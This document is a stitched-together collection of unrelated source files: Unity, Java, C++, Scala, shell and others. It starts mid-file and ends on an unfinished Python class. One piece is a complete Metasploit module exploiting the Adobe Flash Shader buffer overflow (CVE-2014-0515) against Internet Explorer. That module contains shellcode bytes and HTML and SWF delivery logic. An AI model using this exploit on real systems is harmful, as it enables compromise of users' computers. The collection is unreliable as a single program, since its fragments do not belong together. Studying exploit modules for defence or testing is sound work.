	#endif
				}
			}
			else {
				for (int i = 0; i < materials.Length; ++i)
				{
					materialInsts[i] = Instantiate(materials[i]) as Material;
	#if UNITY_EDITOR
					materialInsts[i].hideFlags = HideFlags.DontSave;
	#endif
				}
			}
			for (int i = 0; i < spriteDefinitions.Length; ++i)
			{
				tk2dSpriteDefinition def = spriteDefinitions[i];
				def.materialInst = materialInsts[def.materialId];
			}
		}
		else
		{
			for (int i = 0; i < spriteDefinitions.Length; ++i)
			{
				tk2dSpriteDefinition def = spriteDefinitions[i];
				def.materialInst = def.material;
			}
		}
	}

	/// <summary>
	/// Create a sprite collection at runtime from a texture and user specified regions.
	/// Please ensure that names, regions & anchor arrays have same dimension.
	/// Use <see cref="tk2dBaseSprite.CreateFromTexture"/> if you need to create only one sprite from a texture.
	/// </summary>
	public static tk2dSpriteCollectionData CreateFromTexture(Texture texture, tk2dSpriteCollectionSize size, string[] names, Rect[] regions, Vector2[] anchors)
	{
		return tk2dRuntime.SpriteCollectionGenerator.CreateFromTexture(texture, size, names, regions, anchors);
	}

	/// <summary>
	/// Create a sprite collection at runtime from a texturepacker exported file.
	/// Ensure this is exported using the "2D Toolkit" export mode in TexturePacker.
	/// You can find this exporter in Assets/TK2DROOT/tk2d/Goodies/TexturePacker/Exporter
	/// You can use also use this to load sprite collections at runtime.
	/// </summary>
	public static tk2dSpriteCollectionData CreateFromTexturePacker(tk2dSpriteCollectionSize size, string texturePackerData, Texture texture)
	{
		return tk2dRuntime.SpriteCollectionGenerator.CreateFromTexturePacker(size, texturePackerData, texture);
	}

	public void ResetPlatformData()
	{
		if (hasPlatformData && platformSpecificData)
		{
			platformSpecificData = null;
		}

		materialInsts = null;
	}

	/// <summary>
	/// Unloads the atlas texture data in this sprite collection.
	/// This will be reloaded when the data is accessed again.
	/// Make sure all sprites using this collection have already been destroyed.
	/// </summary>
	public void UnloadTextures() {
		// Debug.Log(Resources.FindObjectsOfTypeAll(typeof(Texture2D)).Length);

		tk2dSpriteCollectionData theInst = inst;
		foreach (Texture2D texture in theInst.textures) {
			Resources.UnloadAsset(texture);
		}

		// Debug.Log(Resources.FindObjectsOfTypeAll(typeof(Texture2D)).Length);
	}

	void OnDestroy()
	{
		if (Transient)
		{
			foreach (Material material in materials)
			{
				DestroyImmediate(material);
			}
		}
		else if (needMaterialInstance) // exclusive
		{
			foreach (Material material in materialInsts)
			{
				DestroyImmediate(material);
			}
		}

		ResetPlatformData();
	}
}


text:
package com.moosemorals.configparser;

import static org.testng.Assert.*;
import org.testng.annotations.Test;

/**
 *
 * @author Osric Wilkinson (osric@fluffypeople.com)
 */
public class EntryNGTest {

    public EntryNGTest() {
    }

}


text:
namespace ExpressionFramework.WebUI
{
    public interface ICountryDropDownListHtmlInput : IHtmlInputElement
    {
    }
}


text:
<?xml version="1.0"?>
<bindings>
	<element name="Stylesheet">#this.Asset('@href');</element>
	<element name="Script">#this.Asset('@src');</element>
	<element name="Asset">#this.Asset('@src');</element>
	<element name="Scripts">this.WriteScriptTags()</element>
	<element name="Styles">this.WriteCssTags()</element>
	<element name="Image">this.ImageFor('@src')</element>
	<element name="Partial">this.Partial<@model>()</element>

	<element name="Edit">this.Edit(x => x.@name)</element>
	<element name="Show">this.Show(x => x.@name)</element>
	<element name="Input">this.InputFor(x => x.@name)</element>
	<element name="Label">this.LabelFor(x => x.@name)</element>
	<element name="Display">this.DisplayFor(x => x.@name)</element>

	<element name="Form">
		<start>this.FormFor<@model>()</start>
		<end>this.EndForm()</end>
	</element>
</bindings>


text:
/*$Id: HookInstanciationMethod.java,v 1.1.4.1.16.3 2007/06/05 20:53:30 dpolivaev Exp $*/
package freemind.extensions;

import java.util.Collection;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Vector;

import freemind.modes.MindMapNode;
import freemind.modes.ModeController;

public class HookInstanciationMethod {
	private static interface DestinationNodesGetter {
		Collection getDestinationNodes(ModeController controller,
				MindMapNode focussed, List selecteds);

		MindMapNode getCenterNode(ModeController controller,
				MindMapNode focussed, List selecteds);
	}

	private static class DefaultDestinationNodesGetter implements
			DestinationNodesGetter {
		public Collection getDestinationNodes(ModeController controller,
				MindMapNode focussed, List selecteds) {
			return selecteds;
		}

		public MindMapNode getCenterNode(ModeController controller,
				MindMapNode focussed, List selecteds) {
			return focussed;
		}
	}

	private static class RootDestinationNodesGetter implements
			DestinationNodesGetter {
		public Collection getDestinationNodes(ModeController controller,
				MindMapNode focussed, List selecteds) {
			Vector returnValue = new Vector();
			returnValue.add(controller.getMap().getRoot());
			return returnValue;
		}

		public MindMapNode getCenterNode(ModeController controller,
				MindMapNode focussed, List selecteds) {
			return controller.getMap().getRootNode();
		}
	}

	private static class AllDestinationNodesGetter implements
			DestinationNodesGetter {
		private void addChilds(MindMapNode node, Collection allNodeCollection) {
			allNodeCollection.add(node);
			for (Iterator i = node.childrenFolded(); i.hasNext();) {
				MindMapNode child = (MindMapNode) i.next();
				addChilds(child, allNodeCollection);
			}
		}

		public Collection getDestinationNodes(ModeController controller,
				MindMapNode focussed, List selecteds) {
			Vector returnValue = new Vector();
			addChilds(controller.getMap().getRootNode(), returnValue);
			return returnValue;
		}

		public MindMapNode getCenterNode(ModeController controller,
				MindMapNode focussed, List selecteds) {
			return focussed;
		}

	}

	private boolean isSingleton;
	private DestinationNodesGetter getter;
	private final boolean isPermanent;
	private final boolean isUndoable;

	public boolean isSingleton() {
		return isSingleton;
	}

	/**
	 * @return Returns the isPermanent.
	 */
	public boolean isPermanent() {
		return isPermanent;
	}

	private HookInstanciationMethod(boolean isPermanent, boolean isSingleton,
			DestinationNodesGetter getter, boolean isUndoable) {
		this.isPermanent = isPermanent;
		this.isSingleton = isSingleton;
		this.getter = getter;
		this.isUndoable = isUndoable;
	}

	static final public HookInstanciationMethod Once = new HookInstanciationMethod(
			true, true, new DefaultDestinationNodesGetter(), true);
	/** The hook should only be added/removed to the root node. */
	static final public HookInstanciationMethod OnceForRoot = new HookInstanciationMethod(
			true, true, new RootDestinationNodesGetter(), true);
	/** Each (or none) node should have the hook. */
	static final public HookInstanciationMethod OnceForAllNodes = new HookInstanciationMethod(
			true, true, new AllDestinationNodesGetter(), true);
	/**
	 * This is for MindMapHooks in general. Here, no undo- or redoaction are
	 * performed, the undo information is given by the actions the hook
	 * performs.
	 */
	static final public HookInstanciationMethod Other = new HookInstanciationMethod(
			false, false, new DefaultDestinationNodesGetter(), false);
	/**
	 * This is for MindMapHooks that wish to be applied to root, whereevery they
	 * are called from. Here, no undo- or redoaction are performed, the undo
	 * information is given by the actions the hook performs.
	 */
	static final public HookInstanciationMethod ApplyToRoot = new HookInstanciationMethod(
			false, false, new RootDestinationNodesGetter(), false);

	static final public HashMap getAllInstanciationMethods() {
		HashMap res = new HashMap();
		res.put("Once", Once);
		res.put("OnceForRoot", OnceForRoot);
		res.put("OnceForAllNodes", OnceForAllNodes);
		res.put("Other", Other);
		res.put("ApplyToRoot", ApplyToRoot);
		return res;
	}

	/**
	 */
	public Collection getDestinationNodes(ModeController controller,
			MindMapNode focussed, List selecteds) {
		return getter.getDestinationNodes(controller, focussed, selecteds);
	}

	/**
	 */
	public boolean isAlreadyPresent(ModeController controller, String hookName,
			MindMapNode focussed) {
		for (Iterator i = focussed.getActivatedHooks().iterator(); i.hasNext();) {
			PermanentNodeHook hook = (PermanentNodeHook) i.next();
			if (hookName.equals(hook.getName())) {
				return true;
			}
		}
		return false;
	}

	/**
	 */
	public MindMapNode getCenterNode(ModeController controller,
			MindMapNode focussed, List selecteds) {
		return getter.getCenterNode(controller, focussed, selecteds);
	}

	/**
     */
	public boolean isUndoable() {
		return isUndoable;
	}
}


text:
[![Build Status](https://travis-ci.org/bibleapi/biblepearls.net.svg?branch=master)](https://travis-ci.org/bibleapi/biblepearls.net)
[![Known Vulnerabilities](https://snyk.io/test/github/bibleapi/biblepearls.net/badge.svg)](https://snyk.io/test/github/bibleapi/biblepearls.net)

Bible verse of the day

[![Screenshot](./images/screenshot.png)](http://www.biblepearls.net)

#### Install

```
yarn install
```

#### Develop

```
yarn start
```

#### Build

```
yarn build
```

## Licence

MIT (c) Ruslan Kazakov


text:
package och.util.sql;

public class TestUserRow {

	public long id;
	public String name;

	public TestUserRow() {
		super();
	}

	public TestUserRow(long id, String name) {
		super();
		this.id = id;
		this.name = name;
	}

}


text:
package com.asher_stern.crf.postagging.evaluation;

import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;

import org.apache.log4j.Logger;

import com.asher_stern.crf.postagging.postaggers.PosTagger;
import com.asher_stern.crf.utilities.CrfException;
import com.asher_stern.crf.utilities.TaggedToken;

/**
 * Evaluates the accuracy of a given {@link PosTagger} on a given test corpus.
 *
 * @author Asher Stern
 * Date: Nov 4, 2014
 *
 */
public class AccuracyEvaluator
{
	public AccuracyEvaluator(Iterable<? extends List<? extends TaggedToken<String, String>>> corpus, PosTagger posTagger)
	{
		this(corpus,posTagger,null);
	}

	public AccuracyEvaluator(Iterable<? extends List<? extends TaggedToken<String, String>>> corpus, PosTagger posTagger, PrintWriter taggedTestWriter)
	{
		super();
		this.corpus = corpus;
		this.posTagger = posTagger;
		this.taggedTestWriter = taggedTestWriter;
	}

	public void evaluate()
	{
		correct = 0;
		incorrect = 0;
		accuracy = 0.0;
		Iterator<? extends List<? extends TaggedToken<String, String>>> reader = corpus.iterator();

		int debug_index=0;
		while (reader.hasNext())
		{
			List<? extends TaggedToken<String, String>> taggedSentence = reader.next();
			++debug_index;
			List<String> sentence = taggedSentenceToSentence(taggedSentence);
			List<TaggedToken<String,String>> taggedByPosTagger = posTagger.tagSentence(sentence);
			evaluateSentence(taggedSentence,taggedByPosTagger);

			if (taggedTestWriter!=null)
			{
				taggedTestWriter.println(printSentence(taggedSentence));
				taggedTestWriter.println(printSentence(taggedByPosTagger));
			}

			if (logger.isDebugEnabled())
			{
				if ((debug_index%100)==0){logger.debug("Evaluated: "+debug_index);}
			}
		}
		if (taggedTestWriter!=null) {taggedTestWriter.flush();}

		accuracy = ((double)correct)/((double)(correct+incorrect));
	}

	/**
	 * Returns how many tags were correctly annotated by the {@link PosTagger}.
	 * @return
	 */
	public long getCorrect()
	{
		return correct;
	}

	/**
	 * Returns how many tags were incorrectly annotated by the {@link PosTagger}.
	 * @return
	 */
	public long getIncorrect()
	{
		return incorrect;
	}

	/**
	 * Returns the accuracy over tag-annotations in the given corpus of the {@link PosTagger}.
	 * @return
	 */
	public double getAccuracy()
	{
		return accuracy;
	}

	private void evaluateSentence(List<? extends TaggedToken<String,String>> taggedSentence, List<TaggedToken<String,String>> taggedByPosTagger)
	{
		Iterator<? extends TaggedToken<String,String>> iteratorTaggedOriginal = taggedSentence.iterator();
		Iterator<? extends TaggedToken<String,String>> iteratorTaggedByPosTagger = taggedByPosTagger.iterator();
		while (iteratorTaggedOriginal.hasNext() && iteratorTaggedByPosTagger.hasNext())
		{
			TaggedToken<String,String> original = iteratorTaggedOriginal.next();
			TaggedToken<String,String> byPosTagger = iteratorTaggedByPosTagger.next();
			if (!(equals(original.getToken(),byPosTagger.getToken()))) {throw new CrfException("Tokens not equal in evaluation.");}
			if (equals(original.getTag(),byPosTagger.getTag()))
			{
				++correct;
			}
			else
			{
				++incorrect;
			}
		}
		if (iteratorTaggedOriginal.hasNext() || iteratorTaggedByPosTagger.hasNext())
		{
			throw new CrfException("Sentences sizes are not equal in evaluation.");
		}
	}

	private String printSentence(List<? extends TaggedToken<String,String>> taggedSentence)
	{
		StringBuilder sb = new StringBuilder();
		for (TaggedToken<String,String> taggedToken : taggedSentence)
		{
			sb.append(taggedToken.getToken()).append("/").append( String.format("%-4s", taggedToken.getTag()) ).append(" ");
		}
		return sb.toString();
	}

	private List<String> taggedSentenceToSentence(List<? extends TaggedToken<String, String>> taggedSentence)
	{
		List<String> ret = new ArrayList<String>(taggedSentence.size());
		for (TaggedToken<String, String> token : taggedSentence)
		{
			ret.add(token.getToken());
		}
		return ret;
	}

	private static boolean equals(Object object1, Object object2)
	{
		if (object1==object2) return true;
		else if ( (object1==null) || (object2==null) ) return false;
		return object1.equals(object2);
	}

	private final Iterable<? extends List<? extends TaggedToken<String, String>>> corpus;
	private final PosTagger posTagger;
	private final PrintWriter taggedTestWriter;

	private long correct = 0;
	private long incorrect = 0;
	private double accuracy = 0.0;

	private static final Logger logger = Logger.getLogger(AccuracyEvaluator.class);
}


text:
number_of_instances=$(nvidia-smi -L | grep MIG | wc -l)
random_instance=$(( ( $RANDOM % ${number_of_instances} ) + 1))
echo "Found ${number_of_instances} MIG instances"
instance=$(nvidia-smi -L | grep MIG | cut -d ' ' -f8 | sed 's/)//g' | head -${random_instance} | tail -1)
export CUDA_VISIBLE_DEVICES=${instance}
echo "Setting CUDA_VISIBLE_DEVICES to ${CUDA_VISIBLE_DEVICES}"


text:
package org.apache.activemq.bugs;

import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.broker.BrokerService;
import org.apache.activemq.broker.region.policy.PolicyEntry;
import org.apache.activemq.broker.region.policy.PolicyMap;
import org.apache.activemq.command.ActiveMQQueue;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.jms.Connection;
import javax.jms.MessageConsumer;
import javax.jms.MessageProducer;
import javax.jms.Session;
import javax.jms.TextMessage;

import static junit.framework.Assert.assertTrue;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;

/**
 * ensure a message will be pages in from the store when another dest has stopped caching
 */

public class CursorMemoryHighWaterMarkTest {
    private static final Logger LOG = LoggerFactory
            .getLogger(CursorMemoryHighWaterMarkTest.class);

    public static final String MY_QUEUE_2 = "myQueue_2";
    public static final String MY_QUEUE = "myQueue";
    public static final String BROKER_NAME = "myBroker";
    private BrokerService broker1;
    private ActiveMQConnectionFactory connectionFactory;

    @Before
    public void setUp() throws Exception {

        broker1 = createAndStartBroker(BROKER_NAME);
        broker1.waitUntilStarted();

        connectionFactory = new ActiveMQConnectionFactory("vm://" + BROKER_NAME);
    }

    private BrokerService createAndStartBroker(String name)
            throws Exception {
        BrokerService broker = new BrokerService();
        broker.setDeleteAllMessagesOnStartup(true);
        broker.setBrokerName(name);
        broker.setUseJmx(true);

        broker.getSystemUsage().getMemoryUsage().setLimit(5000000l);

        PolicyMap policyMap = new PolicyMap();
        PolicyEntry policy = new PolicyEntry();

        //1 mb limit
        policy.setMemoryLimit(1024000);

        policy.setCursorMemoryHighWaterMark(50);

        policyMap.put(new ActiveMQQueue(MY_QUEUE_2), policy);
        broker.setDestinationPolicy(policyMap);

        broker.start();

        return broker;
    }

    @After
    public void tearDown() throws Exception {
        broker1.stop();
    }

    @Test
    public void testCursorHighWaterMark() throws Exception {

        //check the memory usage on broker1 (source broker ) has returned to zero
        int systemUsage = broker1.getSystemUsage().getMemoryUsage().getPercentUsage();
        assertEquals("System Usage on broker1 before test", 0, systemUsage);

        //produce message
        produceMesssages(MY_QUEUE, 3000);

        //verify usage is greater than 60%
        systemUsage = broker1.getSystemUsage().getMemoryUsage().getPercentUsage();
        assertTrue("System Usage on broker1 before test", 60 < systemUsage);

        LOG.info("Broker System Mem Usage: " + broker1.getSystemUsage().getMemoryUsage());

        //send a mesage to myqueue.2
        produceMesssages(MY_QUEUE_2, 1);

        //try to consume that message
        consume(MY_QUEUE_2, 1);

    }

    private void produceMesssages(String queue, int messageCount) throws Exception {

        Connection con = connectionFactory.createConnection();
        try {
            con.start();
            Session session = con.createSession(false, Session.AUTO_ACKNOWLEDGE);
            MessageProducer producer = session.createProducer(session.createQueue(queue));

            String textMessage = getTextForMessage();
            TextMessage msg = session.createTextMessage(textMessage);

            for (int i = 0; i < messageCount; i++) {
                producer.send(msg);
            }

        } finally {
            con.close();
        }

    }

    private String getTextForMessage() {
        StringBuffer stringBuffer = new StringBuffer();

        for (int i = 0; i > 10000; i++) {
            stringBuffer.append("0123456789");
        }

        return stringBuffer.toString();
    }

    private void consume(String queue, int messageCount) throws Exception {

        Connection con = connectionFactory.createConnection();
        try {
            con.start();
            Session session = con.createSession(false, Session.AUTO_ACKNOWLEDGE);
            MessageConsumer messageConsumer
                    = session.createConsumer(session.createQueue(queue));

            for (int i = 0; i < messageCount; i++) {
                javax.jms.Message message = messageConsumer.receive(5000l);
                if (message == null) {
                    fail("should have received a message");
                }
            }

        } finally {
            con.close();
        }

    }

}


text:
namespace Envoy {
namespace Extensions {
namespace NetworkFilters {
namespace DubboProxy {

class ConnectionManager;
class ActiveMessage;

class ActiveResponseDecoder : public ResponseDecoderCallbacks,
                              public StreamHandler,
                              Logger::Loggable<Logger::Id::dubbo> {
public:
  ActiveResponseDecoder(ActiveMessage& parent, DubboFilterStats& stats,
                        Network::Connection& connection, ProtocolPtr&& protocol);
  ~ActiveResponseDecoder() override = default;

  DubboFilters::UpstreamResponseStatus onData(Buffer::Instance& data);

  // StreamHandler
  void onStreamDecoded(MessageMetadataSharedPtr metadata, ContextSharedPtr ctx) override;

  // ResponseDecoderCallbacks
  StreamHandler& newStream() override { return *this; }
  void onHeartbeat(MessageMetadataSharedPtr) override {}

  uint64_t requestId() const { return metadata_ ? metadata_->requestId() : 0; }

private:
  FilterStatus applyMessageEncodedFilters(MessageMetadataSharedPtr metadata, ContextSharedPtr ctx);

  ActiveMessage& parent_;
  DubboFilterStats& stats_;
  Network::Connection& response_connection_;
  ProtocolPtr protocol_;
  ResponseDecoderPtr decoder_;
  MessageMetadataSharedPtr metadata_;
  bool complete_ : 1;
  DubboFilters::UpstreamResponseStatus response_status_;
};

using ActiveResponseDecoderPtr = std::unique_ptr<ActiveResponseDecoder>;

class ActiveMessageFilterBase : public virtual DubboFilters::FilterCallbacksBase {
public:
  ActiveMessageFilterBase(ActiveMessage& parent, bool dual_filter)
      : parent_(parent), dual_filter_(dual_filter) {}
  ~ActiveMessageFilterBase() override = default;

  // DubboFilters::FilterCallbacksBase
  uint64_t requestId() const override;
  uint64_t streamId() const override;
  const Network::Connection* connection() const override;
  DubboProxy::Router::RouteConstSharedPtr route() override;
  SerializationType serializationType() const override;
  ProtocolType protocolType() const override;
  StreamInfo::StreamInfo& streamInfo() override;
  Event::Dispatcher& dispatcher() override;
  void resetStream() override;

protected:
  ActiveMessage& parent_;
  const bool dual_filter_ : 1;
};

// Wraps a DecoderFilter and acts as the DecoderFilterCallbacks for the filter, enabling filter
// chain continuation.
class ActiveMessageDecoderFilter : public DubboFilters::DecoderFilterCallbacks,
                                   public ActiveMessageFilterBase,
                                   public LinkedObject<ActiveMessageDecoderFilter>,
                                   Logger::Loggable<Logger::Id::dubbo> {
public:
  ActiveMessageDecoderFilter(ActiveMessage& parent, DubboFilters::DecoderFilterSharedPtr filter,
                             bool dual_filter);
  ~ActiveMessageDecoderFilter() override = default;

  void continueDecoding() override;
  void sendLocalReply(const DubboFilters::DirectResponse& response, bool end_stream) override;
  void startUpstreamResponse() override;
  DubboFilters::UpstreamResponseStatus upstreamData(Buffer::Instance& buffer) override;
  void resetDownstreamConnection() override;

  DubboFilters::DecoderFilterSharedPtr handler() { return handle_; }

private:
  DubboFilters::DecoderFilterSharedPtr handle_;
};

using ActiveMessageDecoderFilterPtr = std::unique_ptr<ActiveMessageDecoderFilter>;

// Wraps a EncoderFilter and acts as the EncoderFilterCallbacks for the filter, enabling filter
// chain continuation.
class ActiveMessageEncoderFilter : public ActiveMessageFilterBase,
                                   public DubboFilters::EncoderFilterCallbacks,
                                   public LinkedObject<ActiveMessageEncoderFilter>,
                                   Logger::Loggable<Logger::Id::dubbo> {
public:
  ActiveMessageEncoderFilter(ActiveMessage& parent, DubboFilters::EncoderFilterSharedPtr filter,
                             bool dual_filter);
  ~ActiveMessageEncoderFilter() override = default;

  void continueEncoding() override;
  DubboFilters::EncoderFilterSharedPtr handler() { return handle_; }

private:
  DubboFilters::EncoderFilterSharedPtr handle_;

  friend class ActiveMessage;
};

using ActiveMessageEncoderFilterPtr = std::unique_ptr<ActiveMessageEncoderFilter>;

// ActiveMessage tracks downstream requests for which no response has been received.
class ActiveMessage : public LinkedObject<ActiveMessage>,
                      public Event::DeferredDeletable,
                      public StreamHandler,
                      public DubboFilters::FilterChainFactoryCallbacks,
                      Logger::Loggable<Logger::Id::dubbo> {
public:
  ActiveMessage(ConnectionManager& parent);
  ~ActiveMessage() override;

  // Indicates which filter to start the iteration with.
  enum class FilterIterationStartState { AlwaysStartFromNext, CanStartFromCurrent };

  // Returns the encoder filter to start iteration with.
  std::list<ActiveMessageEncoderFilterPtr>::iterator
  commonEncodePrefix(ActiveMessageEncoderFilter* filter, FilterIterationStartState state);
  // Returns the decoder filter to start iteration with.
  std::list<ActiveMessageDecoderFilterPtr>::iterator
  commonDecodePrefix(ActiveMessageDecoderFilter* filter, FilterIterationStartState state);

  // Dubbo::FilterChainFactoryCallbacks
  void addDecoderFilter(DubboFilters::DecoderFilterSharedPtr filter) override;
  void addEncoderFilter(DubboFilters::EncoderFilterSharedPtr filter) override;
  void addFilter(DubboFilters::CodecFilterSharedPtr filter) override;

  // StreamHandler
  void onStreamDecoded(MessageMetadataSharedPtr metadata, ContextSharedPtr ctx) override;

  uint64_t requestId() const;
  uint64_t streamId() const;
  const Network::Connection* connection() const;
  SerializationType serializationType() const;
  ProtocolType protocolType() const;
  StreamInfo::StreamInfo& streamInfo();
  Router::RouteConstSharedPtr route();
  void sendLocalReply(const DubboFilters::DirectResponse& response, bool end_stream);
  void startUpstreamResponse();
  DubboFilters::UpstreamResponseStatus upstreamData(Buffer::Instance& buffer);
  void resetDownstreamConnection();
  Event::Dispatcher& dispatcher();
  void resetStream();

  void createFilterChain();
  FilterStatus applyDecoderFilters(ActiveMessageDecoderFilter* filter,
                                   FilterIterationStartState state);
  FilterStatus applyEncoderFilters(ActiveMessageEncoderFilter* filter,
                                   FilterIterationStartState state);
  void finalizeRequest();
  void onReset();
  void onError(const std::string& what);
  MessageMetadataSharedPtr metadata() const { return metadata_; }
  ContextSharedPtr context() const { return context_; }
  bool pendingStreamDecoded() const { return pending_stream_decoded_; }

private:
  void addDecoderFilterWorker(DubboFilters::DecoderFilterSharedPtr filter, bool dual_filter);
  void addEncoderFilterWorker(DubboFilters::EncoderFilterSharedPtr, bool dual_filter);

  ConnectionManager& parent_;

  ContextSharedPtr context_;
  MessageMetadataSharedPtr metadata_;
  Stats::TimespanPtr request_timer_;
  ActiveResponseDecoderPtr response_decoder_;

  absl::optional<Router::RouteConstSharedPtr> cached_route_;

  std::list<ActiveMessageDecoderFilterPtr> decoder_filters_;
  std::function<FilterStatus(DubboFilters::DecoderFilter*)> filter_action_;

  std::list<ActiveMessageEncoderFilterPtr> encoder_filters_;
  std::function<FilterStatus(DubboFilters::EncoderFilter*)> encoder_filter_action_;

  // This value is used in the calculation of the weighted cluster.
  uint64_t stream_id_;
  StreamInfo::StreamInfoImpl stream_info_;

  Buffer::OwnedImpl response_buffer_;

  bool pending_stream_decoded_ : 1;
  bool local_response_sent_ : 1;

  friend class ActiveResponseDecoder;
};

using ActiveMessagePtr = std::unique_ptr<ActiveMessage>;

} // namespace DubboProxy
} // namespace NetworkFilters
} // namespace Extensions
} // namespace Envoy


text:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Shader Buffer Overflow",
      'Description'    => %q{
        This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
        vulnerability occurs in the flash.Display.Shader class, when setting specially
        crafted data as its bytecode, as exploited in the wild in April 2014. This module
        has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over
        Windows XP SP3, Windows 7 SP1 and Windows 8.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'juan vazquez' # msf module
        ],
      'References'     =>
        [
          ['CVE', '2014-0515'],
          ['BID', '67092'],
          ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
          ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
        ],
      'Payload'        =>
        {
          'Space' => 2000,
          'DisableNops' => true,
          'PrependEncoder' => stack_adjust
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false,
          'EXITFUNC'             => "thread"
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
          :method  => "LoadMovie",
          :os_name => Msf::OperatingSystems::WINDOWS,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 28 2014",
      'DefaultTarget'  => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def stack_adjust
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

    adjust
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    flash_payload = ""
    get_payload(cli,target_info).unpack("V*").each do |i|
      flash_payload << "0x#{i.to_s(16)},"
    end
    flash_payload.gsub!(/,$/, "")

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=flash_payload%>" />
    <param name="Play" value="true" />
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" )
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end


text:
@interface PodsDummy_Pods_ZXPageView_Example : NSObject
@end
@implementation PodsDummy_Pods_ZXPageView_Example
@end


text:
#include "config.h"

#include "FileReaderSync.h"

#include "Blob.h"
#include "BlobURL.h"
#include "FileException.h"
#include "FileReaderLoader.h"
#include <runtime/ArrayBuffer.h>
#include <wtf/PassRefPtr.h>

namespace WebCore {

FileReaderSync::FileReaderSync()
{
}

PassRefPtr<ArrayBuffer> FileReaderSync::readAsArrayBuffer(ScriptExecutionContext* scriptExecutionContext, Blob* blob, ExceptionCode& ec)
{
    if (!blob) {
        ec = NOT_FOUND_ERR;
        return 0;
    }

    FileReaderLoader loader(FileReaderLoader::ReadAsArrayBuffer, 0);
    startLoading(scriptExecutionContext, loader, blob, ec);

    return loader.arrayBufferResult();
}

String FileReaderSync::readAsBinaryString(ScriptExecutionContext* scriptExecutionContext, Blob* blob, ExceptionCode& ec)
{
    if (!blob) {
        ec = NOT_FOUND_ERR;
        return String();
    }

    FileReaderLoader loader(FileReaderLoader::ReadAsBinaryString, 0);
    startLoading(scriptExecutionContext, loader, blob, ec);
    return loader.stringResult();
}

String FileReaderSync::readAsText(ScriptExecutionContext* scriptExecutionContext, Blob* blob, const String& encoding, ExceptionCode& ec)
{
    if (!blob) {
        ec = NOT_FOUND_ERR;
        return String();
    }

    FileReaderLoader loader(FileReaderLoader::ReadAsText, 0);
    loader.setEncoding(encoding);
    startLoading(scriptExecutionContext, loader, blob, ec);
    return loader.stringResult();
}

String FileReaderSync::readAsDataURL(ScriptExecutionContext* scriptExecutionContext, Blob* blob, ExceptionCode& ec)
{
    if (!blob) {
        ec = NOT_FOUND_ERR;
        return String();
    }

    FileReaderLoader loader(FileReaderLoader::ReadAsDataURL, 0);
    loader.setDataType(blob->type());
    startLoading(scriptExecutionContext, loader, blob, ec);
    return loader.stringResult();
}

void FileReaderSync::startLoading(ScriptExecutionContext* scriptExecutionContext, FileReaderLoader& loader, Blob* blob, ExceptionCode& ec)
{
    loader.start(scriptExecutionContext, blob);
    ec = FileException::ErrorCodeToExceptionCode(loader.errorCode());
}

} // namespace WebCore


text:
package org.scala_tools.time

import java.util.Locale
import org.joda.time._

class RichLocalDateProperty(underlying: LocalDate.Property) {
  def localDate: LocalDate =
    underlying.getLocalDate
  def roundFloor: LocalDate =
    underlying.roundFloorCopy
  def roundCeiling: LocalDate =
    underlying.roundCeilingCopy
  def roundDown: LocalDate =
    underlying.roundFloorCopy
  def roundUp: LocalDate =
    underlying.roundCeilingCopy
  def round: LocalDate =
    underlying.roundHalfEvenCopy

  def apply(value: Int): LocalDate = underlying.setCopy(value)
  def apply(text: String): LocalDate = underlying.setCopy(text)
  def apply(text: String, locale: Locale): LocalDate =
    underlying.setCopy(text, locale)
}


text:
import turtle

class Polygon(Object):

